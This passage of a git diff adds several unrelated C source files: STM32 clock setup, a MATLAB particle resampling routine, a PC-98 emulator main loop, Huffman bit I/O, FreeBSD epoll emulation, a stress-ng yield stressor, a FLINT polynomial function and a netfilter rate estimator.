= 2 + * PLL_Q = 7 + * VDD(V) = 3.3 + * Main regulator output voltage = Scale1 mode + * Flash Latency(WS) = 5 + * @param None + * @retval None + */ +static void SystemClock_Config(void) +{ + RCC_ClkInitTypeDef RCC_ClkInitStruct; + RCC_OscInitTypeDef RCC_OscInitStruct; + + /* Enable Power Control clock */ + __HAL_RCC_PWR_CLK_ENABLE(); + + /* The voltage scaling allows optimizing the power consumption when the device is + clocked below the maximum system frequency, to update the voltage scaling value + regarding system frequency refer to product datasheet. */ + __HAL_PWR_VOLTAGESCALING_CONFIG(PWR_REGULATOR_VOLTAGE_SCALE1); + + /* Enable HSE Oscillator and activate PLL with HSE as source */ + RCC_OscInitStruct.OscillatorType = RCC_OSCILLATORTYPE_HSE; + RCC_OscInitStruct.HSEState = RCC_HSE_ON; + RCC_OscInitStruct.PLL.PLLState = RCC_PLL_ON; + RCC_OscInitStruct.PLL.PLLSource = RCC_PLLSOURCE_HSE; + RCC_OscInitStruct.PLL.PLLM = 25; + RCC_OscInitStruct.PLL.PLLN = 360; + RCC_OscInitStruct.PLL.PLLP = RCC_PLLP_DIV2; + RCC_OscInitStruct.PLL.PLLQ = 7; + HAL_RCC_OscConfig(&RCC_OscInitStruct); + + /* Activate the Over-Drive mode */ + HAL_PWREx_EnableOverDrive(); + + /* Select PLL as system clock source and configure the HCLK, PCLK1 and PCLK2 + clocks dividers */ + RCC_ClkInitStruct.ClockType = (RCC_CLOCKTYPE_SYSCLK | RCC_CLOCKTYPE_HCLK | RCC_CLOCKTYPE_PCLK1 | RCC_CLOCKTYPE_PCLK2); + RCC_ClkInitStruct.SYSCLKSource = RCC_SYSCLKSOURCE_PLLCLK; + RCC_ClkInitStruct.AHBCLKDivider = RCC_SYSCLK_DIV1; + RCC_ClkInitStruct.APB1CLKDivider = RCC_HCLK_DIV4; + RCC_ClkInitStruct.APB2CLKDivider = RCC_HCLK_DIV2; + HAL_RCC_ClockConfig(&RCC_ClkInitStruct, FLASH_LATENCY_5); +} + +/** + * @brief This function is executed in case of error occurrence. + * @param None + * @retval None + */ +static void Error_Handler(void) +{ + /* Turn LED3 on */ + BSP_LED_On(LED3); + while(1) + { + } +} + +#ifdef USE_FULL_ASSERT +/** + * @brief Reports the name of the source file and the source line number + * where the assert_param error has occurred. + * @param file: pointer to the source file name + * @param line: assert_param error line source number + * @retval None + */ +void assert_failed(uint8_t* file, uint32_t line) +{ + /* User can add his own implementation to report the file name and line number, + ex: printf("Wrong parameters value: file %s on line %d\r\n", file, line) */ + + /* Infinite loop */ + while (1) + { + } +} +#endif + +/** + * @} + */ + +/** + * @} + */ + +/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/pool/shard011/C/0141642_particle_resampling.c b/pool/shard011/C/0141642_particle_resampling.c new file mode 100644 index 0000000000000000000000000000000000000000..1dd799ce8a1dfc9e933b87ccb18a490a3243559f --- /dev/null +++ b/pool/shard011/C/0141642_particle_resampling.c @@ -0,0 +1,339 @@ +/* particle_resampling.c + + usage: index = particle_resampling(pdf) + ----- + + Inputs + ------ + + pdf Empirical probability density function (vector (1 x N) or (1 x N)) + + Ouputs + ------- + + index Index of particle redisdribution (1 x N) + + + Example + ------- + + + N = 500; + pdf = rand(1 , N); + pdf = pdf/sum(pdf); + index = particle_resampling(pdf); + + To compile + ----------- + + mex -DranSHR3 -f mexopts_intel10.bat -output particle_resampling particle_resampling.c + + + Author : Sébastien PARIS © (sebastien.paris@lsis.org) (2004) + ------- + + +*/ + + + + +#include +#include "mex.h" +#include "time.h" + + + +/*---------------- Basic generators definition ------------------- */ + +#define mix(a , b , c) \ +{ \ + a -= b; a -= c; a ^= (c>>13); \ + b -= c; b -= a; b ^= (a<<8); \ + c -= a; c -= b; c ^= (b>>13); \ + a -= b; a -= c; a ^= (c>>12); \ + b -= c; b -= a; b ^= (a<<16); \ + c -= a; c -= b; c ^= (b>>5); \ + a -= b; a -= c; a ^= (c>>3); \ + b -= c; b -= a; b ^= (a<<10); \ + c -= a; c -= b; c ^= (b>>15); \ +} + +#define znew (z = 36969*(z&65535) + (z>>16) ) +#define wnew (w = 18000*(w&65535) + (w>>16) ) +#define MWC ((znew<<16) + wnew ) +#define SHR3 ( jsr ^= (jsr<<17), jsr ^= (jsr>>13), jsr ^= (jsr<<5) ) +#define CONG (jcong = 69069*jcong + 1234567) +#define KISS ((MWC^CONG) + SHR3) + + + + +#ifdef ranKISS + #define randint KISS + #define rand() (randint*2.328306e-10) +#endif + + + +#ifdef ranSHR3 + #define randint SHR3 + #define rand() (0.5 + (signed)randint*2.328306e-10) +#endif + + +#ifndef max + #define max(a,b) (a >= b ? a : b) + #define min(a,b) (a <= b ? a : b) +#endif +/*--------------------------------------------------------------- */ + +#ifdef __x86_64__ + typedef int UL; +#else + typedef unsigned long UL; +#endif + +/*--------------------------------------------------------------- */ + + +static UL jsrseed = 31340134 , jsr; + +#ifdef ranKISS + + static UL z=362436069, w=521288629, jcong=380116160; + +#endif + + + /*--------------------------------------------------------------- */ + + + + + void randini(void); + + + + void particle_resampling(double * , double * , double * , double * , int ); + + + + /*--------------------------------------------------------------- */ + + + + void mexFunction( int nlhs, mxArray *plhs[], + int nrhs, const mxArray *prhs[] ) + { + + + double *pdf , *cdf , *uu; + + double *indice; + + int N , M , n; + + + + /* Check input */ + + if(nrhs != 1) + + { + + mexErrMsgTxt("indice = multinomiale_resampling(p)"); + + } + + /* On récupère la taille du vecteurs u_ord */ + + M = mxGetM(prhs[0]); + + N = mxGetN(prhs[0]); + + if( ((N != 1) & (M > 1) ) | ((M != 1) & (N > 1) ) ) + { + + mexErrMsgTxt("p must be (N x 1) or (1 x N)."); + + } + + + n = max(M , N); + + + /* Input 1 */ + + + pdf = mxGetPr(prhs[0]); + + + /* Output 1 */ + + + + plhs[0] = mxCreateDoubleMatrix(M , N , mxREAL); + + indice = mxGetPr(plhs[0]); + + + /* vecteur temporaire */ + + + + cdf = (double *)mxMalloc(n*sizeof(double)); + + uu = (double *)mxMalloc(n*sizeof(double)); + + + /* Rand ~U[0,1] Seed initialization */ + + + randini(); + + + /* Resampling */ + + + particle_resampling(pdf , cdf , uu , indice , n); + + + /* Free ressources */ + + + mxFree(uu); + + mxFree(cdf); + + + } + + + + /* ----------------------------------------------------------------------- */ + + + + void randini(void) + + { + + + + /* SHR3 Seed initialization */ + + jsrseed = (UL) time( NULL ); + + jsr ^= jsrseed; + + + + /* KISS Seed initialization */ + +#ifdef ranKISS + + + z = (UL) time( NULL ); + + w = (UL) time( NULL ); + + jcong = (UL) time( NULL ); + + mix(z , w , jcong); + +#endif + + + } + + + /* ----------------------------------------------------------------------- */ + + + void particle_resampling(double *pdf , double *cdf , double *uu , double *indice , int N) + { + + + double sumcdf , sumuu , one = 1.0 , tmp; + + int i , j; + + + /* Compute Scaled empirical CDF from PDF & Sorted Uniform samples*/ + + + cdf[0] = pdf[0]; + + uu[0] = -log(rand()); + + + sumcdf = cdf[0]; + + sumuu = uu[0]; + + + for(i = 1 ; i < N ; i++) + + { + tmp = pdf[i] + cdf[i - 1]; + + cdf[i] = tmp; + + tmp = uu[i - 1] - log(rand()); + + uu[i] = tmp; + + + sumcdf += cdf[i]; + + sumuu += uu[i]; + + } + + + sumcdf = one/sumcdf; + + sumuu = one/sumuu; + + + /* Normalize */ + + + for (i = 0 ; i < N ; i++) + + { + cdf[i] *= sumcdf; + + uu[i] *= sumuu; + + } + + + /* On recopie les N premiers éléments de u_ord dans le vecteur uu. Le N + 1 élément est égal à 2. */ + + i = 0; + + j = 0; + + while (i < N) + + { + if ( (uu[i] < cdf[j]) | (j == N - 1)) + + { + indice[i] = j + 1; + + i++; + } + + else + + { + if (j < N) + { + j++; + } + } + } + } diff --git a/pool/shard011/C/0141643_np2.c b/pool/shard011/C/0141643_np2.c new file mode 100644 index 0000000000000000000000000000000000000000..846ab1b1bfe6f5d8bfb38cfeb4671e68f49150d1 --- /dev/null +++ b/pool/shard011/C/0141643_np2.c @@ -0,0 +1,262 @@ +#include "compiler.h" +#include "strres.h" +#include "np2.h" +#include "dosio.h" +#include "commng.h" +#include "fontmng.h" +#include "inputmng.h" +#include "scrnmng.h" +#include "soundmng.h" +#include "sysmng.h" +#include "taskmng.h" +#include "sdlkbd.h" +#include "ini.h" +#include "pccore.h" +#include "statsave.h" +#include "iocore.h" +#include "scrndraw.h" +#include "s98.h" +#include "fdd/diskdrv.h" +#include "timing.h" +#include "keystat.h" +#include "vramhdl.h" +#include "menubase.h" +#include "sysmenu.h" + + + NP2OSCFG np2oscfg = {0, 0, 0, 0, 0}; +static UINT framecnt; +static UINT waitcnt; +static UINT framemax = 1; + +static void usage(const char *progname) { + + printf("Usage: %s [options]\n", progname); + printf("\t--help [-h] : print this message\n"); +} + + +// ---- resume + +static void getstatfilename(char *path, const char *ext, int size) +{ + char filename[32]; + sprintf(filename, "np2sdl2.%s", ext); + + file_cpyname(path, file_getcd(filename), size); +} + +static int flagsave(const char *ext) { + + int ret; + char path[MAX_PATH]; + + getstatfilename(path, ext, sizeof(path)); + ret = statsave_save(path); + if (ret) { + file_delete(path); + } + return(ret); +} + +static void flagdelete(const char *ext) { + + char path[MAX_PATH]; + + getstatfilename(path, ext, sizeof(path)); + file_delete(path); +} + +static int flagload(const char *ext, const char *title, BOOL force) { + + int ret; + int id; + char path[MAX_PATH]; + char buf[1024]; + char buf2[1024 + 256]; + + getstatfilename(path, ext, sizeof(path)); + id = DID_YES; + ret = statsave_check(path, buf, sizeof(buf)); + if (ret & (~STATFLAG_DISKCHG)) { + menumbox("Couldn't restart", title, MBOX_OK | MBOX_ICONSTOP); + id = DID_NO; + } + else if ((!force) && (ret & STATFLAG_DISKCHG)) { + SPRINTF(buf2, "Conflict!\n\n%s\nContinue?", buf); + id = menumbox(buf2, title, MBOX_YESNOCAN | MBOX_ICONQUESTION); + } + if (id == DID_YES) { + statsave_load(path); + } + return(id); +} + + +// ---- proc + +#define framereset(cnt) framecnt = 0 + +static void processwait(UINT cnt) { + + if (timing_getcount() >= cnt) { + timing_setcount(0); + framereset(cnt); + } + else { + taskmng_sleep(1); + } +} + +int np2_main(int argc, char *argv[]) { + + int pos; + char *p; + int id; + + pos = 1; + while(pos < argc) { + p = argv[pos++]; + if ((!milstr_cmp(p, "-h")) || (!milstr_cmp(p, "--help"))) { + usage(argv[0]); + goto np2main_err1; + } + else { + printf("error command: %s\n", p); + goto np2main_err1; + } + } + + initload(); + + TRACEINIT(); + + if (fontmng_init() != SUCCESS) { + goto np2main_err2; + } + sdlkbd_initialize(); + inputmng_init(); + keystat_initialize(); + + if (sysmenu_create() != SUCCESS) { + goto np2main_err3; + } + + scrnmng_initialize(); + if (scrnmng_create(FULLSCREEN_WIDTH, FULLSCREEN_HEIGHT) != SUCCESS) { + goto np2main_err4; + } + + soundmng_initialize(); + commng_initialize(); + sysmng_initialize(); + taskmng_initialize(); + pccore_init(); + S98_init(); + + scrndraw_redraw(); + pccore_reset(); + + if (np2oscfg.resume) { + id = flagload(str_sav, str_resume, FALSE); + if (id == DID_CANCEL) { + goto np2main_err5; + } + } + + while(taskmng_isavail()) { + taskmng_rol(); + if (np2oscfg.NOWAIT) { + pccore_exec(framecnt == 0); + if (np2oscfg.DRAW_SKIP) { // nowait frame skip + framecnt++; + if (framecnt >= np2oscfg.DRAW_SKIP) { + processwait(0); + } + } + else { // nowait auto skip + framecnt = 1; + if (timing_getcount()) { + processwait(0); + } + } + } + else if (np2oscfg.DRAW_SKIP) { // frame skip + if (framecnt < np2oscfg.DRAW_SKIP) { + pccore_exec(framecnt == 0); + framecnt++; + } + else { + processwait(np2oscfg.DRAW_SKIP); + } + } + else { // auto skip + if (!waitcnt) { + UINT cnt; + pccore_exec(framecnt == 0); + framecnt++; + cnt = timing_getcount(); + if (framecnt > cnt) { + waitcnt = framecnt; + if (framemax > 1) { + framemax--; + } + } + else if (framecnt >= framemax) { + if (framemax < 12) { + framemax++; + } + if (cnt >= 12) { + timing_reset(); + } + else { + timing_setcount(cnt - framecnt); + } + framereset(0); + } + } + else { + processwait(waitcnt); + waitcnt = framecnt; + } + } + } + + pccore_cfgupdate(); + if (np2oscfg.resume) { + flagsave(str_sav); + } + else { + flagdelete(str_sav); + } + pccore_term(); + S98_trash(); + soundmng_deinitialize(); + + sysmng_deinitialize(); + + scrnmng_destroy(); + sysmenu_destroy(); + TRACETERM(); + SDL_Quit(); + return(SUCCESS); + +np2main_err5: + pccore_term(); + S98_trash(); + soundmng_deinitialize(); + +np2main_err4: + scrnmng_destroy(); + +np2main_err3: + sysmenu_destroy(); + +np2main_err2: + TRACETERM(); + SDL_Quit(); + +np2main_err1: + return(FAILURE); +} + diff --git a/pool/shard011/C/0141644_bitsrc.c b/pool/shard011/C/0141644_bitsrc.c new file mode 100644 index 0000000000000000000000000000000000000000..1bc679b388403c72e32c9619fc60c7faa284c2b9 --- /dev/null +++ b/pool/shard011/C/0141644_bitsrc.c @@ -0,0 +1,51 @@ +// Labs: 5-huffman +// Author: Dimonchik0036 + +#include "huffman.h" + +/* + * For all func + * Write/read occurs only when the full bit is typed(count == 7) + */ +void set_file_bit(BARR_ELTYPE *buf, _Bool set, size_t count, FILE *fout) +{ + count %= BARR_ELBITS; + count = BARR_ELBITS - 1 - count; + + if (set) + BARR_SET(buf, count); + else + BARR_CLEAR(buf, count); + if (!count) // Write only if input count = 7 => filling last bit + fwrite(buf, BARR_ELBITS / CHAR_BIT, 1, fout); +} + +_Bool get_file_bit(BARR_ELTYPE *buf, size_t count, FILE *fin) +{ + count %= BARR_ELBITS; + count = BARR_ELBITS - 1 - count; + + _Bool retBit = BARR_TEST(buf, count); + + if (!count) fread(buf, BARR_ELBITS / CHAR_BIT, 1, fin); + + return retBit; +} + +BARR_ELTYPE get_file_byte(BARR_ELTYPE *buf, size_t count, FILE *fin) +{ + count %= BARR_ELBITS; + + BARR_ELTYPE byteChar = 0; + + for (int numBit = BARR_ELBITS - 1; numBit >= 0; numBit--) + { + if (get_file_bit(buf, count, fin)) + BARR_SET(&byteChar, numBit); + else + BARR_CLEAR(&byteChar, numBit); + + count++; + } + return byteChar; +} diff --git a/pool/shard011/C/0141645_bsd_epoll.c b/pool/shard011/C/0141645_bsd_epoll.c new file mode 100644 index 0000000000000000000000000000000000000000..31bfda9249e414a0f94e2cd87688de2881bc1ea6 --- /dev/null +++ b/pool/shard011/C/0141645_bsd_epoll.c @@ -0,0 +1,215 @@ +/* + * bsd_epoll.c - Linux epoll.h emulation via kevent API + * + * Copyright (c) 2009 Boaz Harrosh + * All rights reserved. + * + * Inspired by code written by Roman Divacky + * from the freebsd's linux emulation project at linux_epoll.c file + * However none of that code ended up here. + * + * description: + * This file implements a workable set of the header file + * on a linux distribution. The implementation translates back and forth from + * epoll calls and constants to Kevent calls and constants. + * + * This file is copyrighted under the "New BSD License" (see below) so it can + * be included in the tirpc library project. + * But I fully expect that if you make any fixes/enhancements to bsd_epoll.c + * you shall send these changes to me for inclusion in the next version. + * (Or I'll hunt your dreams, and you will not have peace) + * + * License: "New BSD License" + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * * Neither the name of the nor the + * names of its contributors may be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL + * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF + * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, + * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT + * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ +#if defined(__FreeBSD__) + +#include +#include +#include +#include +#include +#include +#include + +#include + +/* Create a new epoll file descriptor. */ +int +epoll_create(int size) +{ + if (size <= 0) + return -EINVAL; + /* + * args->size is unused. Linux just tests it + * and then forgets it as well. + */ + + return kqueue(); +} + +static void +kevent_to_epoll(struct kevent *kevent, struct epoll_event *event) +{ + /* if (kevent->flags & EV_ERROR) { + ... Any special event flags on Errors? + } */ + + memset(event, 0, sizeof(*event)); + switch (kevent->filter) { + case EVFILT_READ: + /* in Linux EPOLLIN with Zero Data will signal a close + * condition. So do that if EV_EOF. + */ + if ((kevent->data > 0) || (kevent->flags & EV_EOF)) + event->events = EPOLLIN; + break; + case EVFILT_WRITE: + if (kevent->data > 0) + event->events = EPOLLOUT; + break; + default: + fprintf(stderr, + "Unsupported kevent_to_epoll event=%d" + " data=%lx flags=0x%x ident=%ld fflags=0x%x\n", + kevent->filter, (long)kevent->data, kevent->flags, + (long)kevent->ident, kevent->fflags); + } + event->data.ptr = kevent->udata; +} + +static void +kevent_to_epoll_arr(struct kevent *kevp, int count, + struct epoll_event *eep) +{ + int i; + + for (i = 0; i < count; i++) { + kevent_to_epoll(&kevp[i], &eep[i]); + /*printf("eep[%d]=%p\n", i, eep[i].data.ptr); */ + } +} + +/* + * Always create two filters An EVFILT_READ and an EVFILT_WRITE. + * EV_ENABLE/EV_DISABLE according to epoll flags. On EPOLL_CTL_MOD + * first delete then add a new. On EPOLL_CTL_DEL remove both. + */ +int +epoll_ctl(int epfd, int op, int fd, struct epoll_event *event) +{ + struct kevent kev[2] = { {.flags = 0}, }; + int read_flags, write_flags; + + switch (op) { + case EPOLL_CTL_MOD: + epoll_ctl(epfd, EPOLL_CTL_DEL, fd, event); + /* fall through */ + case EPOLL_CTL_ADD: + { + int flags; + + if ((event->events & EPOLLIN) + || event->events & EPOLLPRI) + read_flags = EV_ENABLE; + else + read_flags = EV_DISABLE; + + if (event->events & EPOLLOUT) + write_flags = EV_ENABLE; + else + write_flags = EV_DISABLE; + + flags = EV_ADD; + if (event->events & EPOLLET) + flags |= EV_CLEAR; + if (event->events & EPOLLONESHOT) + flags |= EV_ONESHOT; + + read_flags |= flags; + write_flags |= flags; +/* printf("%s(fd=%d data.ptr=%p\n", + op == EPOLL_CTL_MOD ? "EPOLL_CTL_MOD" : "EPOLL_CTL_ADD", + fd ,event->data.ptr); + printf(" EVFILT_READ(on=%d read_flags=0x%x\n", + read_flags & EV_ENABLE, read_flags); + printf(" EVFILT_WRITE(on=%d write_flags=0x%x);\n", + write_flags & EV_ENABLE, write_flags);*/ + } + break; + case EPOLL_CTL_DEL: + read_flags = write_flags = EV_DELETE | EV_DISABLE; + /*printf("EPOLL_CTL_DEL(fd=%d\n",fd); */ + break; + default: + fprintf(stderr, + "Unsupported epoll operation=%d" + " epfd=%d, fd=%d events=%x\n", op, epfd, fd, + event->events); + errno = EINVAL; + return -1; + } + + EV_SET(&kev[0], fd, EVFILT_READ, read_flags, 0, 0, + event ? event->data.ptr : 0); + EV_SET(&kev[1], fd, EVFILT_WRITE, write_flags, 0, 0, + event ? event->data.ptr : 0); + + return kevent(epfd, kev, 2, NULL, 0, NULL); +} + +/* + * Wait for a filter to be triggered on the epoll file descriptor. + */ +int +epoll_wait(int epfd, struct epoll_event *events, int maxevents, int timeout) +{ + struct kevent *kevp; + struct timespec ts; + int rc; + + /* Convert from miliseconds to timespec. */ + ts.tv_sec = timeout / 1000000; + ts.tv_nsec = (timeout % 1000000) * 1000; + + kevp = mem_calloc(maxevents, sizeof(*kevp)); + /* + * ENOMEM is not expected from epoll_wait. + * Maybe we should translate that but I don't think it matters at all. + */ + + rc = kevent(epfd, NULL, 0, kevp, maxevents, &ts); + + if (rc > 0) { + /*printf("epoll_wait LEAVE %d\n", rc); */ + kevent_to_epoll_arr(kevp, rc, events); + } + + mem_free(kevp, sizeof(struct kevent) * maxevents); + return rc; +} + +#endif /* __FreeBSD__ */ diff --git a/pool/shard011/C/0141646_stress-yield.c b/pool/shard011/C/0141646_stress-yield.c new file mode 100644 index 0000000000000000000000000000000000000000..9ced04f556c049dfba45ac89cfee825f9f29be50 --- /dev/null +++ b/pool/shard011/C/0141646_stress-yield.c @@ -0,0 +1,177 @@ +/* + * Copyright (C) 2013-2021 Canonical, Ltd. + * Copyright (C) 2022 Colin Ian King. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + * + */ +#include "stress-ng.h" + +static const stress_help_t help[] = { + { "y N", "yield N", "start N workers doing sched_yield() calls" }, + { NULL, "yield-ops N", "stop after N bogo yield operations" }, + { NULL, NULL, NULL } +}; + +#if defined(_POSIX_PRIORITY_SCHEDULING) && \ + !defined(__minix__) + +/* + * stress on sched_yield() + * stress system by sched_yield + */ +static int stress_yield(const stress_args_t *args) +{ + uint64_t *counters; + uint64_t max_ops_per_yielder; + size_t counters_sz; + int32_t cpus = stress_get_processors_configured(); + const size_t instances = args->num_instances; + size_t yielders = 2; +#if defined(HAVE_SCHED_GETAFFINITY) + cpu_set_t mask; +#endif + pid_t *pids; + size_t i; + +#if defined(HAVE_SCHED_GETAFFINITY) + /* + * If the process is limited to a subset of cores + * then make sure we do not create too many yielders + */ + if (sched_getaffinity(0, sizeof(mask), &mask) < 0) { + pr_inf("%s: can't get sched affinity, defaulting to %" + PRId32 " yielder%s (instance %" PRIu32 ")\n", + args->name, cpus, (cpus == 1) ? "" : "s", args->instance); + } else { + if (CPU_COUNT(&mask) < cpus) + cpus = CPU_COUNT(&mask); + pr_inf("%s: limiting to %" PRId32 " child yielder%s (instance %" + PRIu32 ")\n", args->name, cpus, (cpus == 1) ? "" : "s", args->instance); + } +#else + UNEXPECTED +#endif + + /* + * Ensure we always have at least 2 yielders per + * CPU available to force context switching on yields + */ + if (cpus > 0) { + cpus *= 2; + yielders = (size_t)cpus / instances; + if (yielders < 1) + yielders = 1; + if (!args->instance) { + size_t residual = (size_t)cpus - (yielders * instances); + + if (residual > 0) + yielders += residual; + } + } + + max_ops_per_yielder = args->max_ops / yielders; + pids = calloc(yielders, sizeof(*pids)); + if (!pids) { + pr_err("%s: calloc failed\n", args->name); + return EXIT_NO_RESOURCE; + } + + counters_sz = yielders * sizeof(*counters); + counters = (uint64_t *)mmap(NULL, counters_sz, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_ANONYMOUS, -1, 0); + if (counters == MAP_FAILED) { + int rc = exit_status(errno); + + pr_err("%s: mmap failed: errno=%d (%s)\n", + args->name, errno, strerror(errno)); + free(pids); + return rc; + } + (void)memset(counters, 0, counters_sz); + + stress_set_proc_state(args->name, STRESS_STATE_RUN); + + for (i = 0; keep_stressing_flag() && (i < yielders); i++) { + pids[i] = fork(); + if (pids[i] < 0) { + pr_dbg("%s: fork failed (instance %" PRIu32 + ", yielder %zd): errno=%d (%s)\n", + args->name, args->instance, i, errno, strerror(errno)); + } else if (pids[i] == 0) { + (void)setpgid(0, g_pgrp); + stress_parent_died_alarm(); + (void)sched_settings_apply(true); + + do { + int ret; + + ret = shim_sched_yield(); + if ((ret < 0) && (g_opt_flags & OPT_FLAGS_VERIFY)) + pr_fail("%s: sched_yield failed, errno=%d (%s)\n", + args->name, errno, strerror(errno)); + counters[i]++; + } while (keep_stressing_flag() && (!max_ops_per_yielder || (counters[i] < max_ops_per_yielder))); + _exit(EXIT_SUCCESS); + } + } + + do { + int ret; + + set_counter(args, 0); +#if defined(__FreeBSD__) + ret = shim_sched_yield(); +#else + ret = shim_usleep(100000); +#endif + (void)ret; + + for (i = 0; i < yielders; i++) + add_counter(args, counters[i]); + } while (keep_stressing(args)); + + /* Parent, wait for children */ + set_counter(args, 0); + + stress_set_proc_state(args->name, STRESS_STATE_DEINIT); + for (i = 0; i < yielders; i++) { + if (pids[i] > 0) { + int status; + + (void)kill(pids[i], SIGKILL); + (void)shim_waitpid(pids[i], &status, 0); + add_counter(args, counters[i]); + } + } + (void)munmap((void *)counters, counters_sz); + free(pids); + + return EXIT_SUCCESS; +} + +stressor_info_t stress_yield_info = { + .stressor = stress_yield, + .class = CLASS_SCHEDULER | CLASS_OS, + .verify = VERIFY_OPTIONAL, + .help = help +}; +#else +stressor_info_t stress_yield_info = { + .stressor = stress_not_implemented, + .class = CLASS_SCHEDULER | CLASS_OS, + .help = help +}; +#endif diff --git a/pool/shard011/C/0141647_inflate.c b/pool/shard011/C/0141647_inflate.c new file mode 100644 index 0000000000000000000000000000000000000000..3599a47e8601f1812c5d5c1c1c7bc13fcfcc231b --- /dev/null +++ b/pool/shard011/C/0141647_inflate.c @@ -0,0 +1,86 @@ +/* + Copyright (C) 2019 Daniel Schultz + + This file is part of FLINT. + + FLINT is free software: you can redistribute it and/or modify it under + the terms of the GNU Lesser General Public License (LGPL) as published + by the Free Software Foundation; either version 2.1 of the License, or + (at your option) any later version. See . +*/ + +#include "fq_nmod_mpoly.h" + +void fq_nmod_mpoly_inflate( + fq_nmod_mpoly_t A, + const fq_nmod_mpoly_t B, + const fmpz * shift, + const fmpz * stride, + const fq_nmod_mpoly_ctx_t ctx) +{ + slong d = fq_nmod_ctx_degree(ctx->fqctx); + int have_zero_stride; + slong j; + flint_bitcnt_t Abits; + slong nvars = ctx->minfo->nvars; + fmpz * exps; + TMP_INIT; + + if (fq_nmod_mpoly_is_zero(B, ctx)) + { + fq_nmod_mpoly_zero(A, ctx); + return; + } + + TMP_START; + + exps = (fmpz *) TMP_ALLOC(nvars*sizeof(fmpz)); + for (j = 0; j < nvars; j++) + fmpz_init(exps + j); + + /* quick and safe bound on bits required */ + mpoly_degrees_ffmpz(exps, B->exps, B->length, B->bits, ctx->minfo); + have_zero_stride = 0; + for (j = 0; j < nvars; j++) + { + have_zero_stride |= fmpz_is_zero(stride + j); + fmpz_mul(exps + j, exps + j, stride + j); + fmpz_add(exps + j, exps + j, shift + j); + } + Abits = mpoly_exp_bits_required_ffmpz(exps, ctx->minfo); + Abits = mpoly_fix_bits(Abits, ctx->minfo); + + for (j = 0; j < nvars; j++) + fmpz_clear(exps + j); + + if (A == B) + { + slong NA = mpoly_words_per_exp(Abits, ctx->minfo); + slong exps_alloc = NA*B->length; + ulong * texps = flint_malloc(exps_alloc*sizeof(ulong)); + mpoly_monomials_inflate(texps, Abits, B->exps, B->bits, B->length, + shift, stride, ctx->minfo); + flint_free(A->exps); + A->exps = texps; + A->bits = Abits; + A->exps_alloc = exps_alloc; + } + else + { + fq_nmod_mpoly_fit_length_reset_bits(A, B->length, Abits, ctx); + _nmod_vec_set(A->coeffs, B->coeffs, d*B->length); + mpoly_monomials_inflate(A->exps, Abits, B->exps, B->bits, B->length, + shift, stride, ctx->minfo); + _fq_nmod_mpoly_set_length(A, B->length, ctx); + } + + TMP_END; + + if (have_zero_stride || ctx->minfo->ord != ORD_LEX) + { + fq_nmod_mpoly_sort_terms(A, ctx); + if (have_zero_stride) + fq_nmod_mpoly_combine_like_terms(A, ctx); + } + return; +} diff --git a/pool/shard011/C/0141648_xt_RATEEST.c b/pool/shard011/C/0141648_xt_RATEEST.c new file mode 100644 index 0000000000000000000000000000000000000000..104df8b17fdb0d9bdff7ebd14e9ea7b9a16a6cc4 --- /dev/null +++ b/pool/shard011/C/0141648_xt_RATEEST.c @@ -0,0 +1,183 @@ +/* + * (C) 2007 Patrick McHardy + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + */ +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +static DEFINE_MUTEX(xt_rateest_mutex); + +#define RATEEST_HSIZE 16 +static struct hlist_head rateest_hash[RATEEST_HSIZE] __read_mostly; +static unsigned int jhash_rnd __read_mostly; + +static unsigned int xt_rateest_hash(const char *name) +{ + return jhash(name, FIELD_SIZEOF(struct xt_rateest, name), jhash_rnd) & + (RATEEST_HSIZE - 1); +} + +static void xt_rateest_hash_insert(struct xt_rateest *est) +{ + unsigned int h; + + h = xt_rateest_hash(est->name); + hlist_add_head(&est->list, &rateest_hash[h]); +} + +struct xt_rateest *xt_rateest_lookup(const char *name) +{ + struct xt_rateest *est; + struct hlist_node *n; + unsigned int h; + + h = xt_rateest_hash(name); + mutex_lock(&xt_rateest_mutex); + hlist_for_each_entry(est, n, &rateest_hash[h], list) { + if (strcmp(est->name, name) == 0) { + est->refcnt++; + mutex_unlock(&xt_rateest_mutex); + return est; + } + } + mutex_unlock(&xt_rateest_mutex); + return NULL; +} +EXPORT_SYMBOL_GPL(xt_rateest_lookup); + +void xt_rateest_put(struct xt_rateest *est) +{ + mutex_lock(&xt_rateest_mutex); + if (--est->refcnt == 0) { + hlist_del(&est->list); + gen_kill_estimator(&est->bstats, &est->rstats); + kfree(est); + } + mutex_unlock(&xt_rateest_mutex); +} 